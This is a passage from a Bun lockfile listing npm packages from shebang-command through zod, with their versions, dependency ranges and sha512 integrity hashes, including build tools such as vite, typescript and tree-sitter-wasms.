{}, "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw=="], 460 | 461 | "shebang-command": ["shebang-command@2.0.0", "", { "dependencies": { "shebang-regex": "^3.0.0" } }, "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA=="], 462 | 463 | "shebang-regex": ["shebang-regex@3.0.0", "", {}, "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A=="], 464 | 465 | "side-channel": ["side-channel@1.1.0", "", { "dependencies": { "es-errors": "^1.3.0", "object-inspect": "^1.13.3", "side-channel-list": "^1.0.0", "side-channel-map": "^1.0.1", "side-channel-weakmap": "^1.0.2" } }, "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw=="], 466 | 467 | "side-channel-list": ["side-channel-list@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0", "object-inspect": "^1.13.3" } }, "sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA=="], 468 | 469 | "side-channel-map": ["side-channel-map@1.0.1", "", { "dependencies": { "call-bound": "^1.0.2", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.5", "object-inspect": "^1.13.3" } }, "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA=="], 470 | 471 | "side-channel-weakmap": ["side-channel-weakmap@1.0.2", "", { "dependencies": { "call-bound": "^1.0.2", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.5", "object-inspect": "^1.13.3", "side-channel-map": "^1.0.1" } }, "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A=="], 472 | 473 | "signal-exit": ["signal-exit@4.1.0", "", {}, "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw=="], 474 | 475 | "sisteransi": ["sisteransi@1.0.5", "", {}, "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg=="], 476 | 477 | "slash": ["slash@5.1.0", "", {}, "sha512-ZA6oR3T/pEyuqwMgAKT0/hAv8oAXckzbkmR0UkUosQ+Mc4RxGoJkRmwHgHufaenlyAgE1Mxgpdcrf75y6XcnDg=="], 478 | 479 | "slice-ansi": ["slice-ansi@7.1.0", "", { "dependencies": { "ansi-styles": "^6.2.1", "is-fullwidth-code-point": "^5.0.0" } }, "sha512-bSiSngZ/jWeX93BqeIAbImyTbEihizcwNjFoRUIY/T1wWQsfsm2Vw1agPKylXvQTU7iASGdHhyqRlqQzfz+Htg=="], 480 | 481 | "source-map": ["source-map@0.6.1", "", {}, "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g=="], 482 | 483 | "source-map-js": ["source-map-js@1.2.1", "", {}, "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA=="], 484 | 485 | "statuses": ["statuses@2.0.2", "", {}, "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw=="], 486 | 487 | "string-width": ["string-width@7.2.0", "", { "dependencies": { "emoji-regex": "^10.3.0", "get-east-asian-width": "^1.0.0", "strip-ansi": "^7.1.0" } }, "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ=="], 488 | 489 | "strip-ansi": ["strip-ansi@7.1.0", "", { "dependencies": { "ansi-regex": "^6.0.1" } }, "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ=="], 490 | 491 | "strip-comments": ["strip-comments@2.0.1", "", {}, "sha512-ZprKx+bBLXv067WTCALv8SSz5l2+XhpYCsVtSqlMnkAXMWDq+/ekVbl1ghqP9rUHTzv6sm/DwCOiYutU/yp1fw=="], 492 | 493 | "strip-final-newline": ["strip-final-newline@3.0.0", "", {}, "sha512-dOESqjYr96iWYylGObzd39EuNTa5VJxyvVAEm5Jnh7KGo75V43Hk1odPQkNDyXNmUR6k+gEiDVXnjB8HJ3crXw=="], 494 | 495 | "strip-json-comments": ["strip-json-comments@5.0.2", "", {}, "sha512-4X2FR3UwhNUE9G49aIsJW5hRRR3GXGTBTZRMfv568O60ojM8HcWjV/VxAxCDW3SUND33O6ZY66ZuRcdkj73q2g=="], 496 | 497 | "strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="], 498 | 499 | "structured-source": ["structured-source@4.0.0", "", { "dependencies": { "boundary": "^2.0.0" } }, "sha512-qGzRFNJDjFieQkl/sVOI2dUjHKRyL9dAJi2gCPGJLbJHBIkyOHxjuocpIEfbLioX+qSJpvbYdT49/YCdMznKxA=="], 500 | 501 | "system-architecture": ["system-architecture@0.1.0", "", {}, "sha512-ulAk51I9UVUyJgxlv9M6lFot2WP3e7t8Kz9+IS6D4rVba1tR9kON+Ey69f+1R4Q8cd45Lod6a4IcJIxnzGc/zA=="], 502 | 503 | "textextensions": ["textextensions@6.11.0", "", { "dependencies": { "editions": "^6.21.0" } }, "sha512-tXJwSr9355kFJI3lbCkPpUH5cP8/M0GGy2xLO34aZCjMXBaK3SoPnZwr/oWmo1FdCnELcs4npdCIOFtq9W3ruQ=="], 504 | 505 | "tiktoken": ["tiktoken@1.0.21", "", {}, "sha512-/kqtlepLMptX0OgbYD9aMYbM7EFrMZCL7EoHM8Psmg2FuhXoo/bH64KqOiZGGwa6oS9TPdSEDKBnV2LuB8+5vQ=="], 506 | 507 | "tinyglobby": ["tinyglobby@0.2.14", "", { "dependencies": { "fdir": "^6.4.4", "picomatch": "^4.0.2" } }, "sha512-tX5e7OM1HnYr2+a2C/4V0htOcSQcoSTH9KgJnVvNm5zm/cyEWKJ7j7YutsH9CxMdtOkkLFy2AHrMci9IM8IPZQ=="], 508 | 509 | "to-regex-range": ["to-regex-range@5.0.1", "", { "dependencies": { "is-number": "^7.0.0" } }, "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ=="], 510 | 511 | "toidentifier": ["toidentifier@1.0.1", "", {}, "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA=="], 512 | 513 | "tree-sitter-wasms": ["tree-sitter-wasms@0.1.12", "", { "dependencies": { "tree-sitter-wasms": "^0.1.11" } }, "sha512-N9Jp+dkB23Ul5Gw0utm+3pvG4km4Fxsi2jmtMFg7ivzwqWPlSyrYQIrOmcX+79taVfcHEA+NzP0hl7vXL8DNUQ=="], 514 | 515 | "type-is": ["type-is@2.0.1", "", { "dependencies": { "content-type": "^1.0.5", "media-typer": "^1.1.0", "mime-types": "^3.0.0" } }, "sha512-OZs6gsjF4vMp32qrCbiVSkrFmXtG/AZhY3t0iAMrMBiAZyV9oALtXO8hsrHbMXF9x6L3grlFuwW2oAz7cav+Gw=="], 516 | 517 | "typescript": ["typescript@5.8.3", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-p1diW6TqL9L07nNxvRMM7hMMw4c5XOo/1ibL4aAIGmSAt9slTE1Xgw5KWuof2uTOvCg9BY7ZRi+GaF+7sfgPeQ=="], 518 | 519 | "uglify-js": ["uglify-js@3.19.3", "", { "bin": { "uglifyjs": "bin/uglifyjs" } }, "sha512-v3Xu+yuwBXisp6QYTcH4UbH+xYJXqnq2m/LtQVWKWzYc1iehYnLixoQDN9FH6/j9/oybfd6W9Ghwkl8+UMKTKQ=="], 520 | 521 | "undici-types": ["undici-types@7.8.0", "", {}, "sha512-9UJ2xGDvQ43tYyVMpuHlsgApydB8ZKfVYTsLDhXkFL/6gfkp+U8xTGdh8pMJv1SpZna0zxG1DwsKZsreLbXBxw=="], 522 | 523 | "unicorn-magic": ["unicorn-magic@0.3.0", "", {}, "sha512-+QBBXBCvifc56fsbuxZQ6Sic3wqqc3WWaqxs58gvJrcOuN83HGTCwz3oS5phzU9LthRNE9VrJCFCLUgHeeFnfA=="], 524 | 525 | "unpipe": ["unpipe@1.0.0", "", {}, "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ=="], 526 | 527 | "uri-js": ["uri-js@4.4.1", "", { "dependencies": { "punycode": "^2.1.0" } }, "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg=="], 528 | 529 | "vary": ["vary@1.1.2", "", {}, "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg=="], 530 | 531 | "version-range": ["version-range@4.14.0", "", {}, "sha512-gjb0ARm9qlcBAonU4zPwkl9ecKkas+tC2CGwFfptTCWWIVTWY1YUbT2zZKsOAF1jR/tNxxyLwwG0cb42XlYcTg=="], 532 | 533 | "vite": ["vite@6.3.5", "", { "dependencies": { "esbuild": "^0.25.0", "fdir": "^6.4.4", "picomatch": "^4.0.2", "postcss": "^8.5.3", "rollup": "^4.34.9", "tinyglobby": "^0.2.13" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0", "jiti": ">=1.21.0", "less": "*", "lightningcss": "^1.21.0", "sass": "*", "sass-embedded": "*", "stylus": "*", "sugarss": "*", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "jiti", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-cZn6NDFE7wdTpINgs++ZJ4N49W2vRp8LCKrn3Ob1kYNtOo21vfDoaV5GzBfLU4MovSAB8uNRm4jgzVQZ+mBzPQ=="], 534 | 535 | "web-tree-sitter": ["web-tree-sitter@0.24.7", "", {}, "sha512-CdC/TqVFbXqR+C51v38hv6wOPatKEUGxa39scAeFSm98wIhZxAYonhRQPSMmfZ2w7JDI0zQDdzdmgtNk06/krQ=="], 536 | 537 | "which": ["which@2.0.2", "", { "dependencies": { "isexe": "^2.0.0" }, "bin": { "node-which": "./bin/node-which" } }, "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA=="], 538 | 539 | "wordwrap": ["wordwrap@1.0.0", "", {}, "sha512-gvVzJFlPycKc5dZN4yPkP8w7Dc37BtP1yczEneOb4uq34pXZcvrtRTmWV8W+Ume+XCxKgbjM+nevkyFPMybd4Q=="], 540 | 541 | "wrap-ansi": ["wrap-ansi@9.0.0", "", { "dependencies": { "ansi-styles": "^6.2.1", "string-width": "^7.0.0", "strip-ansi": "^7.1.0" } }, "sha512-G8ura3S+3Z2G+mkgNRq8dqaFZAuxfsxpBB8OCTGRTCtp+l/v9nbFNmCUP1BZMts3G1142MsZfn6eeUKrr4PD1Q=="], 542 | 543 | "wrappy": ["wrappy@1.0.2", "", {}, "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ=="], 544 | 545 | "zod": ["zod@3.25.67", "", {}, "sha512-idA2YXwpCdqUSKRCACDE6ItZD9TZzy3OZMtpfLoh6oPR47lipysRrJfjzMqFxQ3uJuUPyUeWe1r9vLH33xO/Qw=="], 546 | 547 | "zod-to-json-schema": ["zod-to-json-schema@3.24.5", "", { "peerDependencies": { "zod": "^3.24.1" } }, "sha512-/AuWwMP+YqiPbsJx5D6TfgRTc4kTLjsh5SOcd4bLsfUg2RcEXrFMJl1DGgdHy2aCfsIA/cr/1JM0xcB2GZji8g=="], 548 | 549 | "http-errors/statuses": ["statuses@2.0.1", "", {}, "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ=="], 550 | 551 | "micromatch/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="], 552 | 553 | "npm-run-path/path-key": ["path-key@4.0.0", "", {}, "sha512-haREypq7xkM7ErfgIyA0z+Bj4AGKlMSdlQE2jvJo6huWD1EdkKYV+G/T4nq0YEF2vgTT8kqMFKo1uHn950r4SQ=="], 554 | 555 | "restore-cursor/onetime": ["onetime@7.0.0", "", { "dependencies": { "mimic-function": "^5.0.0" } }, "sha512-VXJjc87FScF88uafS3JllDgvAm+c/Slfz06lorj2uAY34rlUu0Nt+v8wreiImcrgAjjIHp1rXpTDlLOGw29WwQ=="], 556 | } 557 | } 558 | --------------------------------------------------------------------------------